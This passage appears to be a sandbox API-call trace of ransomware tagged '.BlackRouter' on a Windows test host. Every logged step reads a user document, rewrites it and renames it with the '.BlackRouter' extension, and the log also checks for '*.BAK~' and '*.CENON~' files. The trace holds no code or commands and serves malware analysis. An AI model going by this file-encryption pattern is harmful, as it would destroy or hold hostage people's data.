halpmcxz\\documents\\1pz1v\\rmgfwn\\mtm9260pbvgn allz6n.pps.blackrouter")) returned 1 [0041.067] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\7JFZQPs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\7jfzqps.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.068] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x14a5d [0041.068] ReadFile (in: hFile=0x258, lpBuffer=0x298a7e8, nNumberOfBytesToRead=0x14a5d, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x298a7e8*, lpNumberOfBytesRead=0x1ae5c8*=0x14a5d, lpOverlapped=0x0) returned 1 [0041.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\7JFZQPs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\7jfzqps.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\7JFZQPs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\7jfzqps.xls"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9436cb10, ftCreationTime.dwHighDateTime=0x1d46258, ftLastAccessTime.dwLowDateTime=0x832381f0, ftLastAccessTime.dwHighDateTime=0x1d46213, ftLastWriteTime.dwLowDateTime=0xbefe69d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14a60)) returned 1 [0041.075] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\7JFZQPs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\7jfzqps.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\7JFZQPs.xls.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\7jfzqps.xls.blackrouter")) returned 1 [0041.078] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.078] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.080] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.080] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.081] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0041.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae310 | out: lpFindFileData=0x1ae310) returned 0 [0041.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\1GrYOfMmwFRQEIjz3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\1gryofmmwfrqeijz3.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.086] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1664e [0041.086] ReadFile (in: hFile=0x258, lpBuffer=0x14cb5408, nNumberOfBytesToRead=0x1664e, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x14cb5408*, lpNumberOfBytesRead=0x1ae528*=0x1664e, lpOverlapped=0x0) returned 1 [0041.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\1GrYOfMmwFRQEIjz3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\1gryofmmwfrqeijz3.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\1GrYOfMmwFRQEIjz3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\1gryofmmwfrqeijz3.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14fe1790, ftCreationTime.dwHighDateTime=0x1d458ad, ftLastAccessTime.dwLowDateTime=0xc7319040, ftLastAccessTime.dwHighDateTime=0x1d459d4, ftLastWriteTime.dwLowDateTime=0xbf13d630, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16650)) returned 1 [0041.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\1GrYOfMmwFRQEIjz3.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\1gryofmmwfrqeijz3.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\1GrYOfMmwFRQEIjz3.pdf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\1gryofmmwfrqeijz3.pdf.blackrouter")) returned 1 [0041.222] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae310 | out: lpFindFileData=0x1ae310) returned 0 [0041.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\zxTbQnE5Z8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\zxtbqne5z8.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.222] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x8daf [0041.222] ReadFile (in: hFile=0x258, lpBuffer=0x28bc528, nNumberOfBytesToRead=0x8daf, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x28bc528*, lpNumberOfBytesRead=0x1ae528*=0x8daf, lpOverlapped=0x0) returned 1 [0041.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\zxTbQnE5Z8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\zxtbqne5z8.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.227] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\zxTbQnE5Z8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\zxtbqne5z8.csv"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41614c00, ftCreationTime.dwHighDateTime=0x1d45815, ftLastAccessTime.dwLowDateTime=0x6aa07950, ftLastAccessTime.dwHighDateTime=0x1d4581b, ftLastWriteTime.dwLowDateTime=0xbf163790, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8db0)) returned 1 [0041.227] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\zxTbQnE5Z8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\zxtbqne5z8.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\zxTbQnE5Z8.csv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\zxtbqne5z8.csv.blackrouter")) returned 1 [0041.232] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.232] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.234] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.234] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.238] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0041.241] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 0 [0041.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\o3Nw9CMj6B59So2m.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\o3nw9cmj6b59so2m.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.242] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x5620 [0041.242] ReadFile (in: hFile=0x258, lpBuffer=0x290cd90, nNumberOfBytesToRead=0x5620, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x290cd90*, lpNumberOfBytesRead=0x1ae488*=0x5620, lpOverlapped=0x0) returned 1 [0041.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\o3Nw9CMj6B59So2m.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\o3nw9cmj6b59so2m.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\o3Nw9CMj6B59So2m.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\o3nw9cmj6b59so2m.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91cd5c80, ftCreationTime.dwHighDateTime=0x1d461a5, ftLastAccessTime.dwLowDateTime=0xbd286690, ftLastAccessTime.dwHighDateTime=0x1d459f8, ftLastWriteTime.dwLowDateTime=0xbf1898f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5630)) returned 1 [0041.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\o3Nw9CMj6B59So2m.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\o3nw9cmj6b59so2m.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\o3Nw9CMj6B59So2m.rtf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\o3nw9cmj6b59so2m.rtf.blackrouter")) returned 1 [0041.248] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 0 [0041.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\dx Q.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\dx q.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.248] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x113f4 [0041.248] ReadFile (in: hFile=0x258, lpBuffer=0x2926670, nNumberOfBytesToRead=0x113f4, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2926670*, lpNumberOfBytesRead=0x1ae488*=0x113f4, lpOverlapped=0x0) returned 1 [0041.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\dx Q.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\dx q.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\dx Q.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\dx q.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de2fd0, ftCreationTime.dwHighDateTime=0x1d45e9f, ftLastAccessTime.dwLowDateTime=0x70a13fe0, ftLastAccessTime.dwHighDateTime=0x1d46218, ftLastWriteTime.dwLowDateTime=0xbf39ec30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11400)) returned 1 [0041.457] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\dx Q.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\dx q.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\dx Q.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\vi_9g gx-rvbxqh\\9y4w\\dx q.xlsx.blackrouter")) returned 1 [0041.460] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.460] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.461] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.462] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.463] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0041.463] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0041.463] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0041.463] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0041.463] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\E4lJw4wQdA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\e4ljw4wqda.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.464] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x638e [0041.464] ReadFile (in: hFile=0x258, lpBuffer=0x29b4da0, nNumberOfBytesToRead=0x638e, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29b4da0*, lpNumberOfBytesRead=0x1ae5c8*=0x638e, lpOverlapped=0x0) returned 1 [0041.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\E4lJw4wQdA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\e4ljw4wqda.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\E4lJw4wQdA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\e4ljw4wqda.odt"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe95c34a0, ftCreationTime.dwHighDateTime=0x1d45a73, ftLastAccessTime.dwLowDateTime=0x1b739c50, ftLastAccessTime.dwHighDateTime=0x1d45df1, ftLastWriteTime.dwLowDateTime=0xbf39ec30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6390)) returned 1 [0041.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\E4lJw4wQdA.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\e4ljw4wqda.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\E4lJw4wQdA.odt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\e4ljw4wqda.odt.blackrouter")) returned 1 [0041.467] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\MTT6uLi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\mtt6uli.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.467] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x10850 [0041.467] ReadFile (in: hFile=0x258, lpBuffer=0x29c5d30, nNumberOfBytesToRead=0x10850, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29c5d30*, lpNumberOfBytesRead=0x1ae5c8*=0x10850, lpOverlapped=0x0) returned 1 [0041.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\MTT6uLi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\mtt6uli.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\MTT6uLi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\mtt6uli.ods"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d9a4a0, ftCreationTime.dwHighDateTime=0x1d457bc, ftLastAccessTime.dwLowDateTime=0xa53894b0, ftLastAccessTime.dwHighDateTime=0x1d459ad, ftLastWriteTime.dwLowDateTime=0xbf39ec30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10860)) returned 1 [0041.473] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\MTT6uLi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\mtt6uli.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\MTT6uLi.ods.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\mtt6uli.ods.blackrouter")) returned 1 [0041.479] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\ItynyNuYhUEqZ4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\itynynuyhueqz4.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.479] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x113bf [0041.480] ReadFile (in: hFile=0x258, lpBuffer=0x2a27060, nNumberOfBytesToRead=0x113bf, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a27060*, lpNumberOfBytesRead=0x1ae5c8*=0x113bf, lpOverlapped=0x0) returned 1 [0041.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\ItynyNuYhUEqZ4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\itynynuyhueqz4.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\ItynyNuYhUEqZ4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\itynynuyhueqz4.doc"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f29ab00, 